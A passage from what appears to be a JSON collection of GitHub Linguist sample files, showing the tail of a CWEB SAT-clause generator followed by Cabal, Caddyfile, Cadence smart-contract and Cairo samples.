x1=x+1,y1=y,x2=x-1,y2=y-1+((y&1)<<1);\n  applit(x1,y1,1,0),newlit(x,y,7,1),outclause();\n  applit(x2,y2,1,0),newlit(x,y,7,1),outclause();\n  applit(x1,y1,1,0),applit(x2,y2,1,0),newlit(x,y,7,2),outclause();\n  applit(x1,y1,0,0),applit(x2,y2,0,0),newcomplit(x,y,7,1),outclause();\n  applit(x1,y1,0,0),newcomplit(x,y,7,2),outclause();\n  applit(x2,y2,0,0),newcomplit(x,y,7,2),outclause();\n}\n\n@ Fortunately the |b| subroutine {\\it can\\/} be shared (since |x| is always\nodd), thus saving half of the sixteen clauses generated.\n\n@<Sub...@>=\nvoid b(int x,int y) {\n  register j,k,xx=x,y1=y-(y&2),y2=y+(y&2);\n  if (have_b[x][y]!=tt+1) {\n    d(xx,y1);\n    e(xx,y2);\n    for (j=0;j<3;j++) for (k=0;k<3;k++) if (j+k) {\n      if (j) newcomplit(xx,y1,4,j); /* $\\bar d_j$ */\n      if (k) newcomplit(xx,y2,5,k); /* $\\bar e_k$ */\n      newlit(x,y,2,j+k); /* $b_{j+k}$ */\n      outclause();\n      if (j) newlit(xx,y1,4,3-j); /* $d_{3-j}$ */\n      if (k) newlit(xx,y2,5,3-k); /* $e_{3-k}$ */\n      newcomplit(x,y,2,5-j-k); /* $\\bar b_{5-j-k}$ */\n      outclause();      \n    }\n    have_b[x][y]=tt+1;\n  }\n}\n\n@ The (unshared) |c| subroutine handles the other four neighbors,\nby working with |f| and |g| instead of |d| and~|e|.\n\nIf |y=0|, the overlap rules set |y1=-1|, which can be problematic.\nI've decided to avoid this case by omitting |f| when it is\nguaranteed to be zero.\n\n@<Sub...@>=\nvoid c(int x,int y) {\n  register j,k,x1,y1;\n  if (x&1) x1=x+2,y1=(y-1)|1;\n  else x1=x,y1=y&-2;\n  g(x,y);\n  if (x1-1<xmin || x1-1>xmax || y1+1<ymin || y1>ymax)\n    @<Set |c| equal to |g|@>@;\n  else {\n    f(x1,y1);\n    for (j=0;j<3;j++) for (k=0;k<3;k++) if (j+k) {\n      if (j) newcomplit(x1,y1,6,j); /* $\\bar f_j$ */\n      if (k) newcomplit(x,y,7,k); /* $\\bar g_k$ */\n      newlit(x,y,3,j+k); /* $c_{j+k}$ */\n      outclause();\n      if (j) newlit(x1,y1,6,3-j); /* $f_{3-j}$ */\n      if (k) newlit(x,y,7,3-k); /* $g_{3-k}$ */\n      newcomplit(x,y,3,5-j-k); /* $\\bar c_{5-j-k}$ */\n      outclause();\n    }\n  }\n}\n\n@ @<Set |c| equal to |g|@>=\n{\n  for (k=1;k<3;k++) {\n    newcomplit(x,y,7,k),newlit(x,y,3,k),outclause(); /* $\\bar g_k\\lor c_k$ */\n    newlit(x,y,7,k),newcomplit(x,y,3,k),outclause(); /* $g_k\\lor\\bar c_k$ */\n  }\n  newcomplit(x,y,3,3),outclause(); /* $\\bar c_3$ */\n  newcomplit(x,y,3,4),outclause(); /* $\\bar c_4$ */\n}\n\n@ Totals over all eight neighbors are then deduced by the |a|\nsubroutine.\n\n@<Sub...@>=\nvoid a(int x,int y) {\n  register j,k,xx=x|1;\n  b(xx,y);\n  c(x,y);\n  for (j=0;j<5;j++) for (k=0;k<5;k++) if (j+k>1 && j+k<5) {\n    if (j) newcomplit(xx,y,2,j); /* $\\bar b_j$ */\n    if (k) newcomplit(x,y,3,k); /* $\\bar c_k$ */\n    newlit(x,y,1,j+k); /* $a_{j+k}$ */\n    outclause();\n  }\n  for (j=0;j<5;j++) for (k=0;k<5;k++) if (j+k>2 && j+k<6 && j*k) {\n    if (j) newlit(xx,y,2,j); /* $b_j$ */\n    if (k) newlit(x,y,3,k); /* $c_k$ */\n    newcomplit(x,y,1,j+k-1); /* $\\bar a_{j+k-1}$ */\n    outclause();\n  }\n}\n\n@ Finally, as mentioned at the beginning, $z'$ is determined\nfrom $z$, $a_2$, $a_3$, and $a_4$.\n\nI actually generate six clauses, not five, in order to stick to\n{\\mc 3SAT}.\n\n@<Sub...@>=\nvoid zprime(int x,int y) {\n  newcomplit(x,y,1,4),applit(x,y,1,1),outclause(); /* $\\bar a_4\\bar z'$ */\n  newlit(x,y,1,2),applit(x,y,1,1),outclause(); /* $a_2\\bar z'$ */\n  newlit(x,y,1,3),applit(x,y,0,0),applit(x,y,1,1),outclause();\n               /* $a_3z\\bar z'$ */\n  newcomplit(x,y,1,3),newlit(x,y,1,4),applit(x,y,0,1),outclause();\n               /* $\\bar a_3a_4z'$ */\n  applit(x,y,0,7),newcomplit(x,y,1,2),newlit(x,y,1,4),outclause();\n               /* $x\\bar a_2a_4$ */\n  applit(x,y,1,7),applit(x,y,1,0),applit(x,y,0,1),outclause();\n               /* $\\bar x\\bar zz'$ */\n}\n\n@*Index.\n"
  },
  {
    "path": "samples/Cabal Config/defaults.cabal",
    "content": "cabal-version:       2.4\nname:                linguist-sample\nversion:             0.1.1.0\nsynopsis:            Example of a Cabal configuration file for GitHub Linguist\nhomepage:            https://github.com/github/linguist\n\n-- A longer description of the package.\n-- description:\n\nlicense:             ISC\nlicense-file:        LICENSE\nauthor:              Alhadis\nmaintainer:          foo@bar.com\ncategory:            Language\nextra-source-files:  CHANGELOG.md\n\nlibrary\n\tbuild-depends:       base ^>=4.11.1.0\n\ths-source-dirs:      src\n\tdefault-language:    Haskell2010\n\nexecutable linguist-sample\n\tmain-is:             Main.hs\n\tbuild-depends:       base ^>=4.11.1.0\n\ths-source-dirs:      src\n\tdefault-language:    Haskell2010\n"
  },
  {
    "path": "samples/Cabal Config/filenames/cabal.config",
    "content": "constraints: DRBG ==0.5.4,\n             HTTP ==4000.2.19,\n             HUnit ==1.2.5.2,\n             MissingH ==1.3.0.1,\n             MonadRandom ==0.3.0.2,\n             StateVar ==1.1.0.0,\n             aeson ==0.7.0.4,\n             ansi-terminal ==0.6.2.1,\n             ansi-wl-pprint ==0.6.7.2,\n             appar ==0.1.4,\n             array ==0.4.0.1,\n             attoparsec ==0.10.4.0,\n             auto-update ==0.1.2.1,\n             base ==4.6.0.1,\n             base16-bytestring ==0.1.1.6,\n             base64-bytestring ==1.0.0.1,\n             bifunctors ==4.2.1,\n             binary ==0.5.1.1,\n             blaze-builder ==0.4.0.1,\n             byteable ==0.1.1,\n             byteorder ==1.0.4,\n             bytestring ==0.10.0.2,\n             bytestring-builder ==0.10.4.1.2,\n             case-insensitive ==1.1.0.2,\n             cereal ==0.4.1.1,\n             cipher-aes ==0.2.10,\n             cipher-aes128 ==0.6.4,\n             comonad ==4.2.5,\n             containers ==0.5.0.0,\n             contravariant ==1.3.1,\n             crypto-api ==0.13.2,\n             crypto-cipher-types ==0.0.9,\n             cryptohash ==0.11.6,\n             cryptohash-cryptoapi ==0.1.3,\n             data-default ==0.5.3,\n             data-default-class ==0.0.1,\n             data-default-instances-base ==0.0.1,\n             data-default-instances-containers ==0.0.1,\n             data-default-instances-dlist ==0.0.1,\n             data-default-instances-old-locale ==0.0.1,\n             deepseq ==1.3.0.1,\n             directory ==1.2.0.1,\n             distributive ==0.4.4,\n             dlist ==0.7.1.1,\n             easy-file ==0.2.0,\n             either ==4.3.3.2,\n             entropy ==0.3.6,\n             exceptions ==0.8.0.2,\n             fast-logger ==2.3.1,\n             filepath ==1.3.0.1,\n             free ==4.11,\n             ghc-prim ==0.3.0.0,\n             hashable ==1.2.1.0,\n             hslogger ==1.2.8,\n             http-date ==0.0.6,\n             http-types ==0.8.6,\n             integer-gmp ==0.5.0.0,\n             iproute ==1.3.2,\n             lifted-base ==0.2.3.6,\n             mmorph ==1.0.4,\n             monad-control ==1.0.0.4,\n             mtl ==2.2.1,\n             nats ==1,\n             network ==2.6.0.2,\n             network-uri ==2.6.0.1,\n             old-locale ==1.0.0.5,\n             old-time ==1.1.0.1,\n             optparse-applicative ==0.11.0.2,\n             parallel ==3.2.0.3,\n             parsec ==3.1.9,\n             prelude-extras ==0.4,\n             pretty ==1.1.1.0,\n             prettyclass ==1.0.0.0,\n             primitive ==0.5.0.1,\n             process ==1.1.0.2,\n             profunctors ==4.4.1,\n             random ==1.0.1.1,\n             regex-base ==0.93.2,\n             regex-compat ==0.95.1,\n             regex-posix ==0.95.2,\n             resourcet ==1.1.4.1,\n             rts ==1.0,\n             scientific ==0.2.0.2,\n             scotty ==0.9.1,\n             securemem ==0.1.7,\n             semigroupoids ==4.3,\n             semigroups ==0.16.2.2,\n             simple-sendfile ==0.2.18,\n             split ==0.2.2,\n             stm ==2.4.2,\n             streaming-commons ==0.1.10.0,\n             stringsearch ==0.3.6.6,\n             syb ==0.4.0,\n             system-fileio ==0.3.16.2,\n             system-filepath ==0.4.13.2,\n             tagged ==0.7.3,\n             template-haskell ==2.8.0.0,\n             temporary ==1.2.0.3,\n             text ==0.11.3.1,\n             time ==1.4.0.1,\n             transformers ==0.4.3.0,\n             transformers-base ==0.4.4,\n             transformers-compat ==0.4.0.4,\n             unix ==2.6.0.1,\n             unix-compat ==0.4.1.4,\n             unix-time ==0.3.5,\n             unordered-containers ==0.2.3.0,\n             vault ==0.3.0.4,\n             vector ==0.10.0.1,\n             void ==0.7,\n             wai ==3.0.2.3,\n             wai-extra ==3.0.5,\n             wai-logger ==2.2.4,\n             wai-middleware-static ==0.6.0.1,\n             warp ==3.0.10.1,\n             word8 ==0.1.2,\n             zlib ==0.5.4.1\n"
  },
  {
    "path": "samples/Cabal Config/filenames/cabal.project",
    "content": "flags: -overloaded-methods -overloaded-signals -overloaded-properties\n\noptional-packages: *\n\n-- Needed for ios\n-- package reflex\n--  flags: -use-template-haskell\n-- package reflex-dom-core\n--  flags: -use-template-haskell\n-- package wai-websockets\n--  flags: -example\n-- package semigroupoids\n--  flags: -doctests\n-- package text\n--  flags: +integer-simple\n-- package scientific\n--  flags: +integer-simple\n-- package hashable\n--  flags: -integer-gmp\npackage gi-atk\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-cairo\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-gdk\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-gdkpixbuf\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-gio\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-glib\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-gobject\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-gtk\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-gtk-hs\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-gtkosxapplication\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-gtksource\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-javascriptcore\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-pango\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-pangocairo\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-soup\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-webkit\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\npackage gi-webkit2\n flags: -overloaded-methods -overloaded-signals -overloaded-properties\n"
  },
  {
    "path": "samples/Cabal Config/line2pdf.cabal",
    "content": "name:               line2pdf\nversion:            0.0.7\ncopyright:          2008 Audrey Tang\nlicense:            BSD3\nlicense-file:       LICENSE\nauthor:             Audrey Tang <audreyt@audreyt.org>\nmaintainer:         Audrey Tang <audreyt@audreyt.org>\nsynopsis:           Simple command-line utility to convert text into PDF\ndescription:        Simple command-line utility to convert text into PDF\nstability:          experimental\nbuild-type:         Simple\ncabal-version:      >= 1.2\ncategory:           Text\nextra-source-files: README\n\nflag small_base\n    description: Choose the new smaller, split-up base package.\n\nlibrary\n    exposed-modules: Text.LineToPDF Text.LineToPDF.Internals\n    extensions:      ImplicitParams, ExistentialQuantification\n    if flag(small_base)\n        build-depends: base >= 3, containers, bytestring\n    else\n        build-depends: base < 3\n    hs-source-dirs:     src\n\nexecutable line2pdf\n    main-is:        line2pdf.hs\n    extensions:     ImplicitParams, ExistentialQuantification\n    if flag(small_base)\n        build-depends: base >= 3, containers, bytestring\n    else\n        build-depends: base < 3\n    hs-source-dirs:     . src\n"
  },
  {
    "path": "samples/Caddyfile/acmeserver.Caddyfile",
    "content": "{\n\tpki {\n\t\tca internal {\n\t\t\tname \"Internal\"\n\t\t\troot_cn \"Internal Root Cert\"\n\t\t\tintermediate_cn \"Internal Intermediate Cert\"\n\t\t}\n\t\tca internal-long-lived {\n\t\t\tname \"Long-lived\"\n\t\t\troot_cn \"Internal Root Cert 2\"\n\t\t\tintermediate_cn \"Internal Intermediate Cert 2\"\n\t\t}\n\t}\n}\n\nacme-internal.example.com {\n\tacme_server {\n\t\tca internal\n\t}\n}\n\nacme-long-lived.example.com {\n\tacme_server {\n\t\tca internal-long-lived\n\t\tlifetime 7d\n\t}\n}\n"
  },
  {
    "path": "samples/Caddyfile/reverseproxy.caddyfile",
    "content": ":8884\n\nreverse_proxy 127.0.0.1:65535 {\n\t@500 status 500\n\treplace_status @500 400\n\n\t@all status 2xx 3xx 4xx 5xx\n\treplace_status @all {http.error.status_code}\n\n\treplace_status {http.error.status_code}\n\n\t@accel header X-Accel-Redirect *\n\thandle_response @accel {\n\t\trespond \"Header X-Accel-Redirect!\"\n\t}\n\n\t@another {\n\t\theader X-Another *\n\t}\n\thandle_response @another {\n\t\trespond \"Header X-Another!\"\n\t}\n\n\t@401 status 401\n\thandle_response @401 {\n\t\trespond \"Status 401!\"\n\t}\n\n\thandle_response {\n\t\trespond \"Any! This should be last in the JSON!\"\n\t}\n\n\t@403 {\n\t\tstatus 403\n\t}\n\thandle_response @403 {\n\t\trespond \"Status 403!\"\n\t}\n\n\t@multi {\n\t\tstatus 401 403\n\t\tstatus 404\n\t\theader Foo *\n\t\theader Bar *\n\t}\n\thandle_response @multi {\n\t\trespond \"Headers Foo, Bar AND statuses 401, 403 and 404!\"\n\t}\n\n\t@200 status 200\n\thandle_response @200 {\n\t\tcopy_response_headers {\n\t\t\tinclude Foo Bar\n\t\t}\n\t\trespond \"Copied headers from the response\"\n\t}\n\n\t@201 status 201\n\thandle_response @201 {\n\t\theader Foo \"Copying the response\"\n\t\tcopy_response 404\n\t}\n}\n"
  },
  {
    "path": "samples/Cadence/FlowFees.cdc",
    "content": "import FungibleToken from 0xFUNGIBLETOKENADDRESS\nimport FlowToken from 0xFLOWTOKENADDRESS\n\npub contract FlowFees {\n\n    // Event that is emitted when tokens are deposited to the fee vault\n    pub event TokensDeposited(amount: UFix64)\n\n    // Event that is emitted when tokens are withdrawn from the fee vault\n    pub event TokensWithdrawn(amount: UFix64)\n\n    // Event that is emitted when fees are deducted\n    pub event FeesDeducted(amount: UFix64, inclusionEffort: UFix64, executionEffort: UFix64)\n\n    // Event that is emitted when fee parameters change\n    pub event FeeParametersChanged(surgeFactor: UFix64, inclusionEffortCost: UFix64, executionEffortCost: UFix64)\n\n    // Private vault with public deposit function\n    access(self) var vault: @FlowToken.Vault\n\n    pub fun deposit(from: @FungibleToken.Vault) {\n        let from <- from as! @FlowToken.Vault\n        let balance = from.balance\n        self.vault.deposit(from: <-from)\n        emit TokensDeposited(amount: balance)\n    }\n\n    /// Get the balance of the Fees Vault\n    pub fun getFeeBalance(): UFix64 {\n        return self.vault.balance\n    }\n\n    pub resource Administrator {\n        // withdraw\n        //\n        // Allows the administrator to withdraw tokens from the fee vault\n        pub fun withdrawTokensFromFeeVault(amount: UFix64): @FungibleToken.Vault {\n            let vault <- FlowFees.vault.withdraw(amount: amount)\n            emit TokensWithdrawn(amount: amount)\n            return <-vault\n        }\n\n        /// Allows the administrator to change all the fee parameters at once\n        pub fun setFeeParameters(surgeFactor: UFix64, inclusionEffortCost: UFix64, executionEffortCost: UFix64) {\n            let newParameters = FeeParameters(surgeFactor: surgeFactor, inclusionEffortCost: inclusionEffortCost, executionEffortCost: executionEffortCost)\n            FlowFees.setFeeParameters(newParameters)\n        }\n\n        /// Allows the administrator to change the fee surge factor\n        pub fun setFeeSurgeFactor(_ surgeFactor: UFix64) {\n            let oldParameters = FlowFees.getFeeParameters()\n            let newParameters = FeeParameters(surgeFactor: surgeFactor, inclusionEffortCost: oldParameters.inclusionEffortCost, executionEffortCost: oldParameters.executionEffortCost)\n            FlowFees.setFeeParameters(newParameters)\n        }\n    }\n\n    /// A struct holding the fee parameters needed to calculate the fees\n    pub struct FeeParameters {\n        /// The surge factor is used to make transaction fees respond to high loads on the network\n        pub var surgeFactor: UFix64\n        /// The FLOW cost of one unit of inclusion effort. The FVM is responsible for metering inclusion effort.\n        pub var inclusionEffortCost: UFix64\n        /// The FLOW cost of one unit of execution effort. The FVM is responsible for metering execution effort.\n        pub var executionEffortCost: UFix64\n\n        init(surgeFactor: UFix64, inclusionEffortCost: UFix64, executionEffortCost: UFix64){\n            self.surgeFactor = surgeFactor\n            self.inclusionEffortCost = inclusionEffortCost\n            self.executionEffortCost = executionEffortCost\n        }\n    }\n\n    /// Called when a transaction is submitted to deduct the fee\n    /// from the AuthAccount that submitted it\n    pub fun deductTransactionFee(_ acct: AuthAccount, inclusionEffort: UFix64, executionEffort: UFix64) {\n        var feeAmount = self.computeFees(inclusionEffort: inclusionEffort, executionEffort: executionEffort)\n\n        if feeAmount == UFix64(0) {\n            // If there are no fees to deduct, do not continue, \n            // so that there are no unnecessarily emitted events\n            return\n        }\n\n        let tokenVault = acct.borrow<&FlowToken.Vault>(from: /storage/flowTokenVault)\n            ?? panic(\"Unable to borrow reference to the default token vault\")\n\n        \n        if feeAmount > tokenVault.balance {\n            // In the future this code path will never be reached, \n            // as payers that are under account minimum balance will not have their transactions included in a collection\n            //\n            // Currently this is not used to fail the transaction (as that is the responsibility of the minimum account balance logic),\n            // But is used to reduce the balance of the vault to 0.0, if the vault has less available balance than the transaction fees. \n            feeAmount = tokenVault.balance\n        }\n        \n        let feeVault <- tokenVault.withdraw(amount: feeAmount)\n        self.vault.deposit(from: <-feeVault)\n\n        // The fee calculation can be reconstructed using the data from this event and the FeeParameters at the block when the event happened\n        emit FeesDeducted(amount: feeAmount, inclusionEffort: inclusionEffort, executionEffort: executionEffort)\n    }\n\n    pub fun getFeeParameters(): FeeParameters {\n        return self.account.copy<FeeParameters>(from: /storage/FlowTxFeeParameters) ?? panic(\"Error getting tx fee parameters. They need to be initialized first!\")\n    }\n\n    access(self) fun setFeeParameters(_ feeParameters: FeeParameters) {\n        // empty storage before writing new FeeParameters to it\n        self.account.load<FeeParameters>(from: /storage/FlowTxFeeParameters)\n        self.account.save(feeParameters,to: /storage/FlowTxFeeParameters)\n        emit FeeParametersChanged(surgeFactor: feeParameters.surgeFactor, inclusionEffortCost: feeParameters.inclusionEffortCost, executionEffortCost: feeParameters.executionEffortCost)\n    }\n\n    \n    // compute the transaction fees with the current fee parameters and the given inclusionEffort and executionEffort\n    pub fun computeFees(inclusionEffort: UFix64, executionEffort: UFix64): UFix64 {\n        let params = self.getFeeParameters()\n        \n        let totalFees = params.surgeFactor * ( inclusionEffort * params.inclusionEffortCost + executionEffort * params.executionEffortCost )\n        return totalFees\n    }\n\n    init(adminAccount: AuthAccount) {\n        // Create a new FlowToken Vault and save it in storage\n        self.vault <- FlowToken.createEmptyVault() as! @FlowToken.Vault\n\n        let admin <- create Administrator()\n        adminAccount.save(<-admin, to: /storage/flowFeesAdmin)\n    }\n}"
  },
  {
    "path": "samples/Cadence/FlowToken.cdc",
    "content": "import FungibleToken from 0xFUNGIBLETOKENADDRESS\n\npub contract FlowToken: FungibleToken {\n\n    // Total supply of Flow tokens in existence\n    pub var totalSupply: UFix64\n\n    // Event that is emitted when the contract is created\n    pub event TokensInitialized(initialSupply: UFix64)\n\n    // Event that is emitted when tokens are withdrawn from a Vault\n    pub event TokensWithdrawn(amount: UFix64, from: Address?)\n\n    // Event that is emitted when tokens are deposited to a Vault\n    pub event TokensDeposited(amount: UFix64, to: Address?)\n\n    // Event that is emitted when new tokens are minted\n    pub event TokensMinted(amount: UFix64)\n\n    // Event that is emitted when tokens are destroyed\n    pub event TokensBurned(amount: UFix64)\n\n    // Event that is emitted when a new minter resource is created\n    pub event MinterCreated(allowedAmount: UFix64)\n\n    // Event that is emitted when a new burner resource is created\n    pub event BurnerCreated()\n\n    // Vault\n    //\n    // Each user stores an instance of only the Vault in their storage\n    // The functions in the Vault and governed by the pre and post conditions\n    // in FungibleToken when they are called.\n    // The checks happen at runtime whenever a function is called.\n    //\n    // Resources can only be created in the context of the contract that they\n    // are defined in, so there is no way for a malicious user to create Vaults\n    // out of thin air. A special Minter resource needs to be defined to mint\n    // new tokens.\n    //\n    pub resource Vault: FungibleToken.Provider, FungibleToken.Receiver, FungibleToken.Balance {\n\n        // holds the balance of a users tokens\n        pub var balance: UFix64\n\n        // initialize the balance at resource creation time\n        init(balance: UFix64) {\n            self.balance = balance\n        }\n\n        // withdraw\n        //\n        // Function that takes an integer amount as an argument\n        // and withdraws that amount from the Vault.\n        // It creates a new temporary Vault that is used to hold\n        // the money that is being transferred. It returns the newly\n        // created Vault to the context that called so it can be deposited\n        // elsewhere.\n        //\n        pub fun withdraw(amount: UFix64): @FungibleToken.Vault {\n            self.balance = self.balance - amount\n            emit TokensWithdrawn(amount: amount, from: self.owner?.address)\n            return <-create Vault(balance: amount)\n        }\n\n        // deposit\n        //\n        // Function that takes a Vault object as an argument and adds\n        // its balance to the balance of the owners Vault.\n        // It is allowed to destroy the sent Vault because the Vault\n        // was a temporary holder of the tokens. The Vault's balance has\n        // been consumed and therefore can be destroyed.\n        pub fun deposit(from: @FungibleToken.Vault) {\n            let vault <- from as! @FlowToken.Vault\n            self.balance = self.balance + vault.balance\n            emit TokensDeposited(amount: vault.balance, to: self.owner?.address)\n            vault.balance = 0.0\n            destroy vault\n        }\n\n        destroy() {\n            FlowToken.totalSupply = FlowToken.totalSupply - self.balance\n        }\n    }\n\n    // createEmptyVault\n    //\n    // Function that creates a new Vault with a balance of zero\n    // and returns it to the calling context. A user must call this function\n    // and store the returned Vault in their storage in order to allow their\n    // account to be able to receive deposits of this token type.\n    //\n    pub fun createEmptyVault(): @FungibleToken.Vault {\n        return <-create Vault(balance: 0.0)\n    }\n\n    pub resource Administrator {\n        // createNewMinter\n        //\n        // Function that creates and returns a new minter resource\n        //\n        pub fun createNewMinter(allowedAmount: UFix64): @Minter {\n            emit MinterCreated(allowedAmount: allowedAmount)\n            return <-create Minter(allowedAmount: allowedAmount)\n        }\n\n        // createNewBurner\n        //\n        // Function that creates and returns a new burner resource\n        //\n        pub fun createNewBurner(): @Burner {\n            emit BurnerCreated()\n            return <-create Burner()\n        }\n    }\n\n    // Minter\n    //\n    // Resource object that token admin accounts can hold to mint new tokens.\n    //\n    pub resource Minter {\n\n        // the amount of tokens that the minter is allowed to mint\n        pub var allowedAmount: UFix64\n\n        // mintTokens\n        //\n        // Function that mints new tokens, adds them to the total supply,\n        // and returns them to the calling context.\n        //\n        pub fun mintTokens(amount: UFix64): @FlowToken.Vault {\n            pre {\n                amount > UFix64(0): \"Amount minted must be greater than zero\"\n                amount <= self.allowedAmount: \"Amount minted must be less than the allowed amount\"\n            }\n            FlowToken.totalSupply = FlowToken.totalSupply + amount\n            self.allowedAmount = self.allowedAmount - amount\n            emit TokensMinted(amount: amount)\n            return <-create Vault(balance: amount)\n        }\n\n        init(allowedAmount: UFix64) {\n            self.allowedAmount = allowedAmount\n        }\n    }\n\n    // Burner\n    //\n    // Resource object that token admin accounts can hold to burn tokens.\n    //\n    pub resource Burner {\n\n        // burnTokens\n        //\n        // Function that destroys a Vault instance, effectively burning the tokens.\n        //\n        // Note: the burned tokens are automatically subtracted from the\n        // total supply in the Vault destructor.\n        //\n        pub fun burnTokens(from: @FungibleToken.Vault) {\n            let vault <- from as! @FlowToken.Vault\n            let amount = vault.balance\n            destroy vault\n            emit TokensBurned(amount: amount)\n        }\n    }\n\n    init(adminAccount: AuthAccount) {\n        self.totalSupply = 0.0\n\n        // Create the Vault with the total supply of tokens and save it in storage\n        //\n        let vault <- create Vault(balance: self.totalSupply)\n        adminAccount.save(<-vault, to: /storage/flowTokenVault)\n\n        // Create a public capability to the stored Vault that only exposes\n        // the `deposit` method through the `Receiver` interface\n        //\n        adminAccount.link<&FlowToken.Vault{FungibleToken.Receiver}>(\n            /public/flowTokenReceiver,\n            target: /storage/flowTokenVault\n        )\n\n        // Create a public capability to the stored Vault that only exposes\n        // the `balance` field through the `Balance` interface\n        //\n        adminAccount.link<&FlowToken.Vault{FungibleToken.Balance}>(\n            /public/flowTokenBalance,\n            target: /storage/flowTokenVault\n        )\n\n        let admin <- create Administrator()\n        adminAccount.save(<-admin, to: /storage/flowTokenAdmin)\n\n        // Emit an event that shows that the contract was initialized\n        emit TokensInitialized(initialSupply: self.totalSupply)\n    }\n}"
  },
  {
    "path": "samples/Cadence/get_balance.cdc",
    "content": "\n   \n// This script reads the balance field of an account's FlowToken Balance\n\nimport FungibleToken from 0xFUNGIBLETOKENADDRESS\nimport FlowToken from 0xFLOWTOKENADDRESS\n\npub fun main(account: Address): UFix64 {\n\n    let vaultRef = getAccount(account)\n        .getCapability(/public/flowTokenBalance)\n        .borrow<&FlowToken.Vault{FungibleToken.Balance}>()\n        ?? panic(\"Could not borrow Balance reference to the Vault\")\n\n    return vaultRef.balance\n}"
  },
  {
    "path": "samples/Cadence/mint_tokens.cdc",
    "content": "import FungibleToken from 0xFUNGIBLETOKENADDRESS\nimport FlowToken from 0xTOKENADDRESS\n\ntransaction(recipient: Address, amount: UFix64) {\n    let tokenAdmin: &FlowToken.Administrator\n    let tokenReceiver: &{FungibleToken.Receiver}\n\n    prepare(signer: AuthAccount) {\n        self.tokenAdmin = signer\n            .borrow<&FlowToken.Administrator>(from: /storage/flowTokenAdmin)\n            ?? panic(\"Signer is not the token admin\")\n\n        self.tokenReceiver = getAccount(recipient)\n            .getCapability(/public/flowTokenReceiver)\n            .borrow<&{FungibleToken.Receiver}>()\n            ?? panic(\"Unable to borrow receiver reference\")\n    }\n\n    execute {\n        let minter <- self.tokenAdmin.createNewMinter(allowedAmount: amount)\n        let mintedVault <- minter.mintTokens(amount: amount)\n\n        self.tokenReceiver.deposit(from: <-mintedVault)\n\n        destroy minter\n    }\n}"
  },
  {
    "path": "samples/Cadence/read_profile.cdc",
    "content": "import Profile from 0xProfile\n\npub fun main(address: Address): Profile.ReadOnly? {\n    return Profile.read(address)\n}"
  },
  {
    "path": "samples/Cadence/setup_account.cdc",
    "content": "\n// This transaction is a template for a transaction\n// to add a Vault resource to their account\n// so that they can use the flowToken\n\nimport FungibleToken from 0xFUNGIBLETOKENADDRESS\nimport FlowToken from 0xTOKENADDRESS\n\ntransaction {\n\n    prepare(signer: AuthAccount) {\n\n        if signer.borrow<&FlowToken.Vault>(from: /storage/flowTokenVault) == nil {\n            // Create a new flowToken Vault and put it in storage\n            signer.save(<-FlowToken.createEmptyVault(), to: /storage/flowTokenVault)\n\n            // Create a public capability to the Vault that only exposes\n            // the deposit function through the Receiver interface\n            signer.link<&FlowToken.Vault{FungibleToken.Receiver}>(\n                /public/flowTokenReceiver,\n                target: /storage/flowTokenVault\n            )\n\n            // Create a public capability to the Vault that only exposes\n            // the balance field through the Balance interface\n            signer.link<&FlowToken.Vault{FungibleToken.Balance}>(\n                /public/flowTokenBalance,\n                target: /storage/flowTokenVault\n            )\n        }\n    }\n}"
  },
  {
    "path": "samples/Cairo/boolean.cairo",
    "content": "#[generate_trait]\npub impl BoolImpl<T, +Drop<T>> of BoolTrait<T> {\n    /// Returns `Some(t)` if the `bool` is `true`, or `None` otherwise.\n    ///\n    /// # Examples\n    ///\n    /// ```\n    /// assert!(false.then_some(0) == Option::None);\n    /// assert!(true.then_some(0) == Option::Some(0));\n    /// ```\n    #[inline(always)]\n    fn then_some(self: bool, t: T) -> Option<T> nopanic {\n        if self {\n            Option::Some(t)\n        } else {\n            Option::None\n        }\n    }\n}\n"
  },
  {
    "path": "samples/Cairo/cust_struct_vect.cairo",
    "content": "use core::dict::Felt252DictTrait;\nuse core::nullable::{match_nullable, FromNullableResult, NullableTrait};\nuse core::integer;\n\ntrait VecTrait<V, T> {\n    fn new() -> V;\n    fn get(ref self: V, index: usize) -> Option<T>;\n    fn at(ref self: V, index: usize) -> T;\n    fn push(ref self: V, value: T) -> ();\n    fn set(ref self: V, index: usize, value: T);\n    fn len(self: @V) -> usize;\n}\n\nstruct NullableVec<T> {\n    data: Felt252Dict<Nullable<T>>,\n    len: usize\n}\n\nimpl DestructNullableVec<T, +Drop<T>> of Destruct<NullableVec<T>> {\n    fn destruct(self: NullableVec<T>) nopanic {\n        self.data.squash();\n    }\n}\n\nimpl NullableVecImpl<T, +Drop<T>, +Copy<T>> of VecTrait<NullableVec<T>, T> {\n    fn new() -> NullableVec<T> {\n        NullableVec { data: Default::default(), len: 0 }\n    }\n\n    fn get(ref self: NullableVec<T>, index: usize) -> Option<T> {\n        if index < self.len() {\n            Option::Some(self.data.get(index.into()).deref())\n        } else {\n            Option::None\n        }\n    }\n\n    fn at(ref self: NullableVec<T>, index: usize) -> T {\n        assert!(index < self.len(), \"Index out of bounds\");\n        self.data.get(index.into()).deref()\n    }\n\n    fn push(ref self: NullableVec<T>, value: T) -> () {\n        self.data.insert(self.len.into(), NullableTrait::new(value));\n        self.len = core::integer::u32_wrapping_add(self.len, 1_usize);\n    }\n    fn set(ref self: NullableVec<T>, index: usize, value: T) {\n        assert!(index < self.len(), \"Index out of bounds\");\n        self.data.insert(index.into(), NullableTrait::new(value));\n    }\n\n    fn len(self: @NullableVec<T>) -> usize {\n        *self.len\n    }\n}\n"
  },
  {
